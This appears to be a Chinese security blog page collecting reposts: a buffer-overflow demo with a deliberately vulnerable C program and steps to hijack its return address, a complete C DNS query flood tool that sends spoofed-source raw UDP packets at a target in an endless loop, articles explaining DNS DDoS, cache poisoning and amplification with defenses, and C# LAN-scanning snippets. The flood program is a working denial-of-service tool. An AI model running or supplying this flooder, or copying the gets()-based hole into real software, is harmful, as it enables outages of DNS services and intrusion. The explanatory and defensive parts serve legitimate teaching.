2013年5月31日星期五

缓冲区溢出攻击演示程序

缓冲区溢出攻击演示程序(发表时间: 2007-11-2 21:27:00)

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/lingdlz/30693.html 复制链接
分享到: 0

缓冲区溢出攻击演示程序
  缓冲区溢出攻击是一种常见的攻击其攻击原理和相关知识见:
http://blog.programfan.com/article.asp?id=30692
  下面是小型的攻击演示程序,程序源代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void callCmd(){
    printf("welcome admin !\n");
    system("cmd");
}
void test(char p){
    char buf[10];
    printf("Enter passport:");
    gets(buf);
    if(!strcmp(buf,"admin"))
        callCmd();
    printf("Access deny !\n");
}
int main(){
    char buf='A';
    test(buf);
    return 0;
}

上面的程序在正常执行时只有输入正确的"通行证"  "admin" 才有权调用callCmd() 函数,但是由于使用了 gets() 函数,可以在输入时通过缓冲区溢出,将test()的返回地址直接改为callCmd() 函数的调用地址绕过验证,方法如下:
一 : 反汇编该程序生成的可执行文件,找到 callCmd() 的调用地址 : 00401030


二: 查看堆栈内容 { 调出堆栈,后面将会用到 }


三: 运行函数调用指令,同时查看堆栈以找到堆栈的返回地址位置


四:正常输入,并查看堆栈得出缓冲区距离堆栈的距离 [ 16 字节]


五: 万事具备,只剩修改返回地址了,从前面我们知道返回地址为  00401030
 如何输入?我们不能直接用键盘敲入非打印字符,这里我是用 UltraEdit 编辑复制得到的,如下:

六: 演示
 1) 正常输入,被拒绝
 
2) 缓冲区攻击,绕过验证

此时的堆栈如下 :

这里我们是知道了源代码,如果只有可执行文件,则需要反汇编工具调试可执行代码,可以进行轰炸式攻击以找出能够导致缓冲区溢出的地方,另外这里没有 值入可执行代码而是执行了原文件中的代码,还可以直接值入可执行代码到缓冲区,修改返回地址为值入代码的位置即可。要进行缓冲区溢出攻击,必须熟悉汇编语 言,精通反汇编调试,还要有还的反汇编工具……  {{ 仅供学习参考,反对不良攻击,呵呵…… }}
避免缓冲区溢出攻击方法: 1)有些系统自带了工具不允许执行堆栈中的指令,可以开启这些功能,这样能够避免堆栈值入代码攻击,但避免不了演示程序里的这种攻击。2)编写程序的时候 避免使用能够导致缓冲区溢出的函数(C里面大多数字符串函数都不安全)。3)可以使用入侵检测工具。
江南孤峰: 2007--11--2                    
  ^_^  转载请注明出处 ^_^    :  http://www.lingdlz.programfan.com

C#获取局域网内在使用的IP地址


using System.Net;
using System.Net.NetworkInformation;
       /// <summary>
        /// 获取局域网内在使用的IP地址
        /// </summary>
        /// <returns></returns>
        private string[] GetLocalIP()
        {
           string[] validIPlist = null;
           string iplist = null;
           //本机IP地址
           IPAddress ipaddress = new IPAddress(Dns.GetHostByName (Dns .GetHostName ()).AddressList [0].Address );
           string IPhead = ipaddress.ToString().Remove(ipaddress.ToString().LastIndexOf('.'));
           string IPtail = string.Empty;
           Ping ping = new Ping();
           for (int i = 0; i < 255; i++)
           {
               IPtail =i.ToString ();
               PingReply pingrep=ping .Send (IPhead +IPtail );
               if (pingrep.Status != IPStatus.BadHeader &&pingrep .Status !=IPStatus.BadRoute )
               {
                   iplist += IPhead + IPtail+" ";
               }
           }
           validIPlist = iplist.Split(' ');
           ping = null;
           return validIPlist;  
    }

DNS Query Flood攻击

DNS Query Flood攻击
2013-04-23 20:25:00     我来说两句       作者:人生注入点
收藏    我要投稿
2011年写的一个DNS Query Flood测试代码。我已经尽可能的降低了攻击性,供测试DNS服务器性能使用。
BTW,我依旧记得当时的痛苦,也许DNS协议的设计者是写第一个DNS服务器的人吧,协议中处处都在为Server端的解析
方便考虑,Fuck DNS Protocol。
// code by yunshu(wustyunshu@hotmail.com, 2011-07-11. just for test, have fun.
// you should change some codes for attacking.
 
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
 
typedef struct ip_hdr
{
    unsigned char     h_verlen;
    unsigned char     tos;
    unsigned short    total_len;
    unsigned short    ident;
    unsigned short    frag_and_flags;
    unsigned char     ttl;
    unsigned char     proto;
    unsigned short    checksum;
    unsigned int      sourceIP;
    unsigned int      destIP;
}IP_HEADER;
 
typedef struct udp_hdr
{
    unsigned short    uh_sport;
    unsigned short    uh_dport;
    unsigned short    uh_length;
    unsigned short    uh_checksum;
}UDP_HEADER;
 
typedef struct usd_hdr
{
    unsigned long       saddr;
    unsigned long       daddr;
    char                mbz;
    char                ptcl;
    unsigned short      udpl;
}USD_HEADER; 
 
typedef struct dns
{
    unsigned short    tid;
    unsigned short    flags;
    unsigned short    queries;
    unsigned short    answers;
    unsigned short    auth;
    unsigned short    additional;
}DNS_HEADER;
 
typedef struct query
{
    char *    name;
    unsigned short    type;
    unsigned short    class;
}QUERY_HEADER;
 
int const HOST_LENGTH = 3;
unsigned long long sleeptime, starttime, outcount = 0;
int pkt_then_sleep = 0;
 
unsigned short CheckSum(unsigned short * buffer, int size)
{
        unsigned long   cksum = 0;
 
        while (size > 1)
        {
                cksum += *buffer++;
                size -= sizeof(unsigned short);
        }
        if (size)
        {
                cksum += *(unsigned char *) buffer;
        }
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >> 16);
 
        return (unsigned short) (~cksum);
}
 
void MySleep(unsigned int micro_second)
{
        struct timeval  t_timeval;
 
        t_timeval.tv_sec = 0;
        t_timeval.tv_usec = micro_second;
 
        select( 0, NULL, NULL, NULL, &t_timeval );
}
 
void PaddingQuery( char *buffer, char *base_name )
{
    char *tmp = (char *)malloc(strlen(base_name)+HOST_LENGTH+1);
    if( NULL == tmp )
    {
        fprintf( stderr, "malloc for query error: %s\n", strerror(errno) );
        exit -1;
    }
    memset( tmp, 0, strlen(base_name)+HOST_LENGTH+1 );
    sprintf( tmp, "%c%c%c%s", rand()%25+97, rand()%25+97, rand()%25+97, base_name );
 
    int length_pos = 0;
    int loop_num = 1;
 
    char *token = strtok( tmp, "." );
    while( NULL != token )
    {
        if( loop_num == 1 )
        {
            length_pos = 0;
            memset( buffer, strlen(token), 1 );
            strcpy( buffer+length_pos+1, token );
 
            length_pos = length_pos + strlen(token) + 1;
        }
        else
        {
            memset( buffer+length_pos, strlen(token), 1 );
            strcpy( buffer+length_pos+1, token );
 
            length_pos = length_pos + strlen(token) + 1;
        }
 
        token = strtok( NULL, "." );
        loop_num ++;
    }
    free(tmp);
}
 
void Init( char *buffer, int buffer_size, char *ip, char *base_name )
{
    IP_HEADER   IpHeader;
    UDP_HEADER  UdpHeader;
    USD_HEADER  UsdHeader;
    DNS_HEADER  DnsHeader;
    QUERY_HEADER    QueryHeader;
 
    // whole udp packet except ip header and usd_header
    int total_packet_len = buffer_size;
 
    // udp packet with usd_header
    int udp_with_usd_len = total_packet_len - sizeof(IP_HEADER) + sizeof(USD_HEADER);
 
    char *udp_packet = (char *)malloc( udp_with_usd_len );
    if( NULL == udp_packet )
    {
        fprintf( stderr, "malloc udp packet error: %s\n", strerror(errno) );
        exit;
    }
    memset( udp_packet, 0, udp_with_usd_len );
 
    IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));
    IpHeader.tos = 0;
    IpHeader.total_len = htons( total_packet_len );
    IpHeader.ident = rand() % 30000 + 9876;
    IpHeader.frag_and_flags = 0x0000;
    IpHeader.ttl = 255;
    IpHeader.proto = IPPROTO_UDP;
    IpHeader.checksum = 0x0000;
    // 1.1.1.1 ----------- 250.250.250.250
    IpHeader.sourceIP = htonl(rand( ) % 4193909242 + 16843009);
    //IpHeader.sourceIP = inet_addr("10.23.230.110");
    IpHeader.destIP = inet_addr(ip);
 
    UdpHeader.uh_sport = htons( rand() % 8000 + 2345 );
    UdpHeader.uh_dport = htons(53);
    UdpHeader.uh_length = htons( total_packet_len - sizeof(IP_HEADER) );
    UdpHeader.uh_checksum = 0x0000;
 
    UsdHeader.saddr = IpHeader.sourceIP;
    UsdHeader.daddr = IpHeader.destIP;
    UsdHeader.mbz = 0x00;
    UsdHeader.ptcl = IPPROTO_UDP;
    UsdHeader.udpl = UdpHeader.uh_length;
 
    DnsHeader.tid = rand() % 40000 + 12345;
    DnsHeader.flags = 0x0001;
    DnsHeader.queries = 0x0100;
    DnsHeader.answers = 0x0000;
    DnsHeader.auth = 0x0000;
    DnsHeader.additional = 0x0000;
 
    QueryHeader.type = 0x0100;
    QueryHeader.class = 0x0100;
 
    memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
    IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) );
    memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
 
    memcpy( udp_packet, (void*)&UsdHeader, sizeof(UsdHeader) );
 
    memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) );
 
    memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader), &DnsHeader, sizeof(DnsHeader) );
 
    PaddingQuery( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader), base_name );
 
    memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader)+1+HOST_LENGTH+strlen(base_name)+1, ((char*)&QueryHeader)+sizeof(char *), sizeof(QueryHeader)-sizeof(char*) );
 
    UdpHeader.uh_checksum = CheckSum( (unsigned short *)udp_packet, udp_with_usd_len ); 
    memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) );
 
    memcpy( buffer+sizeof(IpHeader), udp_packet+sizeof(UsdHeader), udp_with_usd_len - sizeof(USD_HEADER) );
 
    free( udp_packet );
}
 
void Flood( char *dst_ip, char *base_name )
{
    int sock;
    int flag = 1;
 
    // sizeof(char *) means the length of "name" field in the query header.
    // 2 means, 0x00 and the length of host, 0x03www0x06google0x03com0x00, fuck dns protocol
    int total_packet_len = sizeof(IP_HEADER) + sizeof(UDP_HEADER) + sizeof(DNS_HEADER) + sizeof(QUERY_HEADER) + strlen(base_name) + HOST_LENGTH + 2 - sizeof(char *);
 
    char *buffer = (char *)malloc( total_packet_len );
    if( NULL == buffer )
    {
        fprintf( stderr, "malloc memory for packet error.\n" );
        return;
    }
 
    struct sockaddr_in  sa;
    memset( &sa, 0, sizeof(struct sockaddr_in) );
    sa.sin_family = AF_INET;
    sa.sin_port = htons(53);
    sa.sin_addr.s_addr = inet_addr(dst_ip);
 
    if( (sock = socket(PF_INET, SOCK_RAW, IPPROTO_UDP))  < 0 )
    {
        fprintf( stderr, "create socket error: %s\n", strerror(errno) );
        free(buffer);
        return;
    }
 
    if( setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (int *)&flag, sizeof(flag)) < 0 )
    {
        fprintf( stderr, "setsockopt error: %s\n", strerror(errno) );
        free(buffer);
        return;
    }
 
    int number = 0;
    if( sleeptime == 0 )
    {
        while( 1 )
        {
            memset( (void *)buffer, 0, sizeof(buffer) );
            Init( buffer, total_packet_len, dst_ip, base_name );
 
            sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) );
            outcount ++;
        }
    }
 
    else
    {
        while( 1 )
        {
            memset( (void*)buffer, 0, sizeof buffer );
            Init( buffer, total_packet_len, dst_ip, base_name );
 
            sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) ); 
            outcount ++;
            number ++;
 
            if( number == pkt_then_sleep )
            {
                MySleep( sleeptime );
                number = 0;
            }
        }
    }
 
    free( buffer );
    return;
}
 
void sig_proc(int signum)
{
 int end_time = 0;
 
        end_time=time(NULL);
 
        printf("\n -- statistics( %d ) -----------------------\n", signum);
        printf("   packets sent:          %d\n",outcount);
        printf("   seconds active:        %d\n",end_time - starttime);
        printf("   average packet/second: %d\n",outcount/(end_time - starttime));
        printf(" -------------------------------------\n");
 
        exit(1);
}
 
void set_sig( )
{
        signal(SIGHUP,&sig_proc);
        signal(SIGINT,&sig_proc);
        signal(SIGQUIT,&sig_proc);
        signal(SIGILL,&sig_proc);
        signal(SIGABRT,&sig_proc);
        signal(SIGFPE,&sig_proc);
        signal(SIGSEGV,&sig_proc);
        signal(SIGPIPE,&sig_proc);
        signal(SIGALRM,&sig_proc);
        signal(SIGTERM,&sig_proc);
        signal(SIGUSR1,&sig_proc);
        signal(SIGUSR2,&sig_proc);
        signal(SIGCHLD,&sig_proc);
        signal(SIGCONT,&sig_proc);
        signal(SIGTSTP,&sig_proc);
        signal(SIGTTIN,&sig_proc);
        signal(SIGTTOU,&sig_proc);
}
 
int main(int argc,char *argv[])
{
    char    dst_ip[20] = { 0 };
    char    base_name[65] = { 0 };
 
    if( argc != 5 )
    {
        fprintf(stderr,"\n%s <target ip> <base_name> <pkt_then_sleep> <sleep_time>\n", argv[0]);
        fprintf(stderr, "send dns query to <target ip>, sleep <sleep_time> microseconds per <pkt_then_sleep> paskets.\nplease set base_name like '.baidu.com'\n\n");
        return -1;
    }
 
    strncpy( dst_ip, argv[1], 16 );
    strncpy( base_name,  argv[2], 64 );
 
    if( inet_addr(dst_ip) == INADDR_NONE )
    {      
        printf( "target ip error.\n" );
        return -1;
    }
 
 pkt_then_sleep = atoi(argv[3]);
 if( pkt_then_sleep == 0 )
 {
  printf( "pkt_then_sleep error.\n" );
  return -1;
 }
 
    sleeptime = atoi(argv[4]);
 
    starttime = time(NULL);
    while(time(NULL) == starttime) usleep(1000);
 
 srand((unsigned) time(NULL));
 
    set_sig( );
    Flood( dst_ip, base_name );
 
    return 0;
}
 

了解DNS类DDoS攻击

了解DNS类DDoS攻击

来源: 51CTO 发布日期: 2013-02-21

   在网络的发展史里有个名词相信大家都不陌生,那就是"分布式拒绝服务(DDoS--Distributed Denial of Service) 攻击"。随着IT及网络的发展演进至今,DDoS攻击形势愈加严峻,单次攻击流量超过100G的案例已经发生,全球僵尸主机规模已经超过3000万台…… 随处可以获得的攻击工具,庞大的僵尸网络群体,发动一次DDoS攻击不再需要任何黑客技术门槛,只需要3步(下载攻击工具、购买僵尸主机,发动攻击)即可 完成一次攻击。

    DDoS攻击主要目的是让指定目标无法提供正常服务,甚至从互联网上消失,是目前最强大、最难防御的攻击之一。实现DDoS 攻击的方式有多种,DNS类DDoS攻击即是其中较为常见的一种攻击方式。

    据华为安全能力中心统计,针对Web服务攻击占攻击总量的67.71%,攻击方式主要集中在SYN Flood、HTTP Get Flood、CC 攻击、重传攻击等方面,Web服务仍是DDOS主要攻击目标。

   针对DNS的攻击占攻击总量的11.74%,主要以cache miss为目的的DNS query flood攻击为主,互联网业务系统一般都采用大量服务器组成的集群,相比DNS系统更脆弱。城域网DNS缓存服务器和大客户的DNS授权服务器都成为重 点的攻击目标。针对Mail攻击以SYN Flood为主,针对在线游戏攻击则是针对业务端口的UDP Flood攻击为主。

    DNS类DDoS攻击

    首先,我们先了解一下DNS(Domain Name System),众所周知它是域名系统的意思,其作用就是协调IP地址和主机名之间的双向切换。DNS是Internet的基础架构,众多的网络服务 (如:Http、Ftp、Email等等)都是建立在DNS体系基础之上的。DNS系统中有授权服务器和缓存服务器两种类型。DNS服务器的本职就是要向 全世界广播所有他们要解析的域名相关的记录。因为用户更喜欢使用普通的名称来访问网络,而不是一些数字,DNS服务器对用户在浏览器中输入的内容进行翻 译,例如当用户在Web浏览器中输入某网址后,它会翻译成一个网络可以理解的真实的IP地址。

    作为互联网最基础、最核心的服务,DNS自然也是DDoS攻击的重要目标之一。打垮DNS服务能够间接打垮一家公司的全部业务,或者打垮一个地区的网络服 务。相信大家都记得,在2012年2月,黑客组织Anonymous也曾经宣布要对全球互联网的13台根DNS服务器发起大规模的DDoS攻击,不过最终 没有得手。

    针对DNS服务器的攻击有多种,如:DNS查询攻击;DNS reply flood攻击;DNS缓存投毒攻击;DNS协议漏洞攻击;Fast flux僵尸网络等。

    根据DDoS攻击次数比例图与DDoS攻击流量比例图显示,我们可以看出DNS查询攻击占比很重,那么此处我们重点说一下虚假地址的DNS查询DDoS攻击。

    伪造地址的DNS查询DDoS攻击

    DNS服务器是一个保存域名和IP地址映射的数据库,DNS服务器的解析过程就是DNS在其数据库里进行查找匹配记录的过程。由于DNS在域名解析时,字 符串匹配和数据库查找时开销较大,DNS查询DDoS攻击利用这一特点,通过伪造IP地址向目标DNS发送海量的DNS查询攻击包,由于DNS服务器每秒 查询次数有限,使得它忙于处理海量的查询请求数据包而形成拒绝服务攻击。

    我们可以试想一下,如果一个金融机构的业务系统遭遇了此类攻击,将会如何?很肯定的说企业业务的正常运营会受到严重影响。金融在线业务系统最重要的就是实 时性和可靠性,一旦业务中断不仅造成巨大的金钱损失,企业的形象也必将受损,还会影响成千上万的客户,可能造成客户的流失等等严重后果。所以做好安全防护 工作变得非常重要。

    同时,随着网络的发展,面向基础架构的DNS类DDoS攻击势必也会演进,因为攻击者总是在猜测着DDoS攻击防护体系的防范规律,同时也在不断的推出新的攻击软件和攻击手段。放眼未来,DDoS攻击防护任重而道远!

DNS攻击原理与防范

DNS攻击原理与防范

www.hx95.com    时间: 2013-05-15    阅读: 223次     整理: 华夏联盟网
分享到: 1
随着网络的逐步普及,网络安全已成为INTERNET路上事实上的焦点,它关系着 INTERNET的进一步发展和普及,甚至关系着INTERNET的生存。可喜的是我们那些互联网专家们并没有令广大INTERNET用户失望,网络安全 技术也不断出现,使广大网民和企业有了更多的放心,下面就网络安全中的主要技术作一简介,希望能为网民和企业在网络安全方面提供一个网络安全方案参考。
DNS的工作原理
DNS分为Client和Server,Client扮演发问的角色,也就是问Server一个Domain Name,而Server必须要回答此Domain Name的真正IP地址。而当地的DNS先会查自己的资料库。如果自己的资料库没有,则会往该DNS上所设的的DNS询问,依此得到答案之后,将收到的答 案存起来,并回答客户。
DNS服务器会根据不同的授权区(Zone),记录所属该网域下的各名称资料,这个资料包括网域下的次网域名称及主机名称。
在每一个名称服务器中都有一个快取缓存区(Cache),这个快取缓存区的主要目的是将该名称服务器所查询出来的名称及相对的IP地址记录在快取缓 存区中,这样当下一次还有另外一个客户端到次服务器上去查询相同的名称 时,服务器就不用在到别台主机上去寻找,而直接可以从缓存区中找到该笔名称记录资料,传回给客户端,加速客户端对名称查询的速度。例如:
当DNS客户端向指定的DNS服务器查询网际网路上的某一台主机名称 DNS服务器会在该资料库中找寻用户所指定的名称 如果没有,该服务器会先在自己的快取缓存区中查询有无该笔纪录,如果找到该笔名称记录后,会从DNS服务器直接将所对应到的IP地址传回给客户端 ,如果名称服务器在资料记录查不到且快取缓存区中也没有时,服务器首先会才会向别的名称服务器查询所要的名称。例如:
DNS客户端向指定的DNS服务器查询网际网路上某台主机名称,当DNS服务器在该资料记录找不到用户所指定的名称时,会转向该服务器的快取缓存区 找寻是否有该资料 ,当快取缓存区也找不到时,会向最接近的名称服务器去要求帮忙找寻该名称的IP地址 ,在另一台服务器上也有相同的动作的查询,当查询到后会回复原本要求查询的服务器,该DNS服务器在接收到另一台DNS服务器查询的结果后,先将所查询到 的主机名称及对应IP地址记录到快取缓存区中 ,最后在将所查询到的结果回复给客户端


常见的DNS攻击包括:
1) 域名劫持
通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民访问该域名时,进入了黑客所指向的内容。
这显然是DNS服务提供商的责任,用户束手无策。
2) 缓存投毒
利用控制DNS缓存服务器,把原本准备访问某网站的用户在不知不觉中带到黑客指向的其他网站上。其实现方式有多种,比如可以通过利用网民ISP端的 DNS缓存服务器的漏洞进行攻击或控制,从而改变该ISP内的用户访问域名的响应结果;或者,黑客通过利用用户权威域名服务器上的漏洞,如当用户权威域名 服务器同时可以被当作缓存服务器使用,黑客可以实现缓存投毒,将错误的域名纪录存入缓存中,从而使所有使用该缓存服务器的用户得到错误的DNS解析结果。
最近发现的DNS重大缺陷,就是这种方式的。只所以说是“重大”缺陷,据报道是因为是协议自身的设计实现问题造成的,几乎所有的DNS软件都存在这样的问题。
3)DDOS攻击
一种攻击针对DNS服务器软件本身,通常利用BIND软件程序中的漏洞,导致DNS服务器崩溃或拒绝服务;另一种攻击的目标不是DNS服务器,而是利用DNS服务器作为中间的“攻击放大器”,去攻击其它互联网上的主机,导致被攻击主机拒绝服务。
4) DNS欺骗
DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。
原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。
现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存 在.
DNS欺骗
在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录
防止DNS被攻击的若干防范性措施
互联网上的DNS放大攻击(DNS amplification attacks)急剧增长。这种攻击是一种数据包的大量变体能够产生针对一个目标的大量的虚假的通讯。这种虚假通讯的数量有多大?每秒钟达数GB,足以阻止任何人进入互联网。
与老式的“smurf attacks”攻击非常相似,DNS放大攻击使用针对无辜的第三方的欺骗性的数据包来放大通讯量,其目的是耗尽受害者的全部带宽。但是,“smurf attacks”攻击是向一个网络广播地址发送数据包以达到放大通讯的目的。DNS放大攻击不包括广播地址。相反,这种攻击向互联网上的一系列无辜的第三 方DNS服务器发送小的和欺骗性的询问信息。这些DNS服务器随后将向表面上是提出查询的那台服务器发回大量的回复,导致通讯量的放大并且最终把攻击目标 淹没。因为DNS是以无状态的UDP数据包为基础的,采取这种欺骗方式是司空见惯的。
这种攻击主要依靠对DNS实施60个字节左右的查询,回复最多可达512个字节,从而使通讯量放大8.5倍。这对于攻击者来说是不错的,但是,仍没有达到攻击者希望得到了淹没的水平。最近,攻击者采用了一些更新的技术把目前的DNS放大攻击提高了好几倍。
当前许多DNS服务器支持EDNS。EDNS是DNS的一套扩大机制,RFC 2671对次有介绍。一些选择能够让DNS回复超过512字节并且仍然使用UDP,如果要求者指出它能够处理这样大的DNS查询的话。攻击者已经利用这种 方法产生了大量的通讯。通过发送一个60个字节的查询来获取一个大约4000个字节的记录,攻击者能够把通讯量放大66倍。一些这种性质的攻击已经产生了 每秒钟许多GB的通讯量,对于某些目标的攻击甚至超过了每秒钟10GB的通讯量。
要实现这种攻击,攻击者首先要找到几台代表互联网上的某个人实施循环查询工作的第三方DNS服务器(大多数DNS服务器都有这种设置)。由于支持循 环查询,攻击者可以向一台DNS服务器发送一个查询,这台DNS服务器随后把这个查询(以循环的方式)发送给攻击者选择的一台DNS服务器。接下来,攻击 者向这些服务器发送一个DNS记录查询,这个记录是攻击者在自己的DNS服务器上控制的。由于这些服务器被设置为循环查询,这些第三方服务器就向攻击者发 回这些请求。攻击者在DNS服务器上存储了一个4000个字节的文本用于进行这种DNS放大攻击。
现在,由于攻击者已经向第三方DNS服务器的缓存中加入了大量的记录,攻击者接下来向这些服务器发送DNS查询信息(带有启用大量回复的EDNS选 项),并采取欺骗手段让那些DNS服务器认为这个查询信息是从攻击者希望攻击的那个IP地址发出来的。这些第三方DNS服务器于是就用这个4000个字节 的文本记录进行回复,用大量的UDP数据包淹没受害者。攻击者向第三方DNS服务器发出数百万小的和欺骗性的查询信息,这些DNS服务器将用大量的DNS 回复数据包淹没那个受害者。
如何防御这种大规模攻击呢?首先,保证你拥有足够的带宽承受小规模的洪水般的攻击。一个单一的T1线路对于重要的互联网连接是不够的,因为任何恶意 的脚本少年都可以消耗掉你的带宽。如果你的连接不是执行重要任务的,一条T1线路就够了。否则,你就需要更多的带宽以便承受小规模的洪水般的攻击。不过, 几乎任何人都无法承受每秒钟数GB的DNS放大攻击。
因此,你要保证手边有能够与你的ISP随时取得联系的应急电话号码。这样,一旦发生这种攻击,你可以马上与ISP联系,让他们在上游过滤掉这种攻 击。要识别这种攻击,你要查看包含DNS回复的大量通讯(源UDP端口53),特别是要查看那些拥有大量DNS记录的端口。一些ISP已经在其整个网络上 部署了传感器以便检测各种类型的早期大量通讯。这样,你的ISP很可能在你发现这种攻击之前就发现和避免了这种攻击。你要问一下你的ISP是否拥有这个能 力。
最后,为了帮助阻止恶意人员使用你的DNS服务器作为一个实施这种DNS放大攻击的代理,你要保证你的可以从外部访问的DNS服务器仅为你自己的网 络执行循环查询,不为任何互联网上的地址进行这种查询。大多数主要DNS服务器拥有限制循环查询的能力,因此,它们仅接受某些网络的查询,比如你自己的网 络。通过阻止利用循环查询装载大型有害的DNS记录,你就可以防止你的DNS服务器成为这个问题的一部分.
结束语:网络攻击越来越猖獗,对网络安全造成了很大的威胁。对于任何黑客的恶意攻击,都有办法来防御,只要了解了他们的攻击手段,具有丰富的网络知 识,就可以抵御黑客们的疯狂攻击。一些初学网络的朋友也不必担心,因为目前市场上也已推出许多网络安全方案,以及各式防火墙,相信在不久的将来,网络一定 会是一个安全的信息传输媒体。特别需要强调的是,在任何时候都应将网络安全教育放在整个安全体系的首位,努力提高所有网络用户的安全意识和基本防范技术。 这对提高整个网络的安全性有着十分重要的意义。

C#得到局域网内所有主机名,IP地址,MAC地址

C#得到局域网内所有主机名,IP地址,MAC地址

(2011-05-10 14:27:18)
标签:

转载


        private void btnCheck_Click(object sender, EventArgs e)
        {
            string ipAddress = this.cboBoxIp.Text.Trim();
            Regex rgx = new Regex(@"^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$");
            if (rgx.IsMatch(ipAddress))
            {
                this.labelIpResult.Text = GetName(ipAddress);
                this.labelMacResult.Text = GetMacAddress(ipAddress);
            }
            else
            {
                this.labelIpResult.Text = "IP address is not valid.";
                this.labelMacResult.Text = "No mac result";
            }
        }

        /// <summary>
        /// 得到所有局域网内机器名
        /// </summary>
        private void GetAllLocalMachineName()
        {
            System.Diagnostics.ProcessStartInfo prcssStrtInfo = new System.Diagnostics.ProcessStartInfo();
            prcssStrtInfo.FileName = @"C:windowssystem32cmd.exe";
            prcssStrtInfo.Arguments = @"/c net view > F:\LanMachineName.txt"; // 将所有局域网机器名输出到文本文件
            prcssStrtInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            System.Diagnostics.Process.Start(prcssStrtInfo);
        }

        /// <summary>
        /// 通过Ip地址获得主机名
        /// </summary>
        /// <param name="IpAddress"></param>
        /// <returns></returns>
        private string GetName(string IpAddress)//获取指定IP的计算机名称
        {
            string name="";
            try
            {
                IPHostEntry ipHstEntry = Dns.GetHostByAddress(IpAddress);//传递IP地址
                //IPHostEntry ipHstEntry = Dns.GetHostEntry(IpAddress);
                name = ipHstEntry.HostName.ToString();//取得主机名
            }
            catch (Exception e)
            {
                name = e.Message;
            }
            return name;
        }

        /// <summary>
        /// 通过Ip得到MAC地址
        /// </summary>
        /// <param name="IpAddress"></param>
        /// <returns></returns>
        private string GetMacAddress(string IpAddress)//得到指定IP的MAC地址
        {
            string macAddress = "";
            Int32 ldest = 0;
            try
            {
                ldest = inet_addr(IpAddress);
            }
            catch (Exception iperr)
            {
                MessageBox.Show(iperr.Message);
            }
            Int64 macinfo = new Int64();
            Int32 len = 6;
            try
            {
                int res = SendARP(ldest, 0, ref macinfo, ref len);
            }
            catch (Exception err)
            {
                //    throw new Exception("在解析MAC地址过程发生了错误!"); 
                MessageBox.Show(err.Message);
            }
            string originalMACAddress = macinfo.ToString("X4");
            if (originalMACAddress != "0000" && originalMACAddress.Length == 12)
            { //合法MAC地址 
                string mac1, mac2, mac3, mac4, mac5, mac6;
                mac1 = originalMACAddress.Substring(10, 2);
                mac2 = originalMACAddress.Substring(8, 2);
                mac3 = originalMACAddress.Substring(6, 2);
                mac4 = originalMACAddress.Substring(4, 2);
                mac5 = originalMACAddress.Substring(2, 2);
                mac6 = originalMACAddress.Substring(0, 2);
                macAddress = mac1 + ":" + mac2 + ":" + mac3 + ":" + mac4 + ":" + mac5 + ":" + mac6;
                //canPing = true;
            }
            else
            {
                macAddress = "无法探测到MAC地址";
                //canPing = false;
            }
            return macAddress;
        }

C# 获取局域网IP和MAC地址

C# 获取局域网IP和MAC地址

572人阅读 评论(2) 收藏 举报
C#遍历局域网的几种方法及比较
2009-07-03 10:08
扫描局域网IP列表的几种方法
很多软件都有获知局域网在线计算机IP的功能,但是在.net怎么实现呢,有好多方法,
下面我给大家介绍几种,供大家参考。
1、微软社区上介绍了使用Active Directory 来遍历局域网
利用DirectoryEntry组件来查看网络
网址:http://www.microsoft.com/china/communITy/program/originalarticles/techdoc/DirectoryEntry.mspx
private void EnumComputers()
{
    using(DirectoryEntry root = new DirectoryEntry("WinNT:"))
    {
      foreach(DirectoryEntry domain in root.Children)
      {
        Console.WriteLine("Domain | WorkGroup: "+domain.Name);
        foreach(DirectoryEntry computer in domain.Children)
    {
     Console.WriteLine("Computer: "+computer.Name);
    }
   }
}
}
效果评价:速度慢,效率低,还有一个无效结果 Computer: Schema 使用的过程中注意虑掉。
2、利用Dns.GetHostByAddress和IPHostEntry遍历局域网
private void EnumComputers()
{
for (int i = 1; i <= 255; i++)
{
string scanIP = "192.168.0." + i.ToString();
IPAddress myScanIP = IPAddress.Parse(scanIP);
IPHostEntry myScanHost = null;
try
{
    myScanHost = Dns.GetHostByAddress(myScanIP);
}
catch
{
    continue;
}
if (myScanHost != null)
{
    Console.WriteLine(scanIP+"|"+myScanHost.HostName);
}
}
}
效果评价:效率低,速度慢,不是一般的慢。
